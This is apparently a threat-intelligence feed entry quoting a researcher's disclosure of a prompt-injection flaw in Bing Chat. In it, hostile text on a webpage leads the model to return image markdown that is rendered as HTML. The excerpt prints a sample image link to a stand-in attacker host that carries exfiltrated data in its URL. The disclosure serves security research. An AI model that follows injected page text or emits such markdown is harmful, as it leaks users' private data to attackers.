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Up to 100 retained publisher events per page for 29d6aea32eef6b49220ee183c812e932397a13b3d0e6f0446d8c8372b616274f. Withdrawals and unavailable references remain attributed to their publishers.

intelligence_src_c25d91fa3ad9ae9ac7

observed · 2026-10-12 14:53:03 UTC

This post describes how I found a Prompt Injection attack angle in Bing Chat that allowed malicious text on a webpage (like a user comment or an advertisement) to exfiltrate data. The Vulnerability - Image Markdown Injection When Bing Chat returns text it can return markdown elements, which the client will render as HTML. This includes the feature to include images. Imagine the LLM returns the following text: ![data exfiltration in progress](https://attacker/logo.png?q=[DATA_EXFILTRATION]) This will be rendered as an HTML image tag with a src attribute pointing to the attacker server.

Fingerprint: e4e449252393853b33c74ad74b1a085786e19f62a5741a4f61c30465635e59fd

intelligence_src_c25d91fa3ad9ae9ac7

observed · 2026-10-12 14:53:03 UTC

available

Fingerprint: 0a2f1bebc7ea800736eafab237a0ddecfb8797a02d23951e8aa80935e2f3446f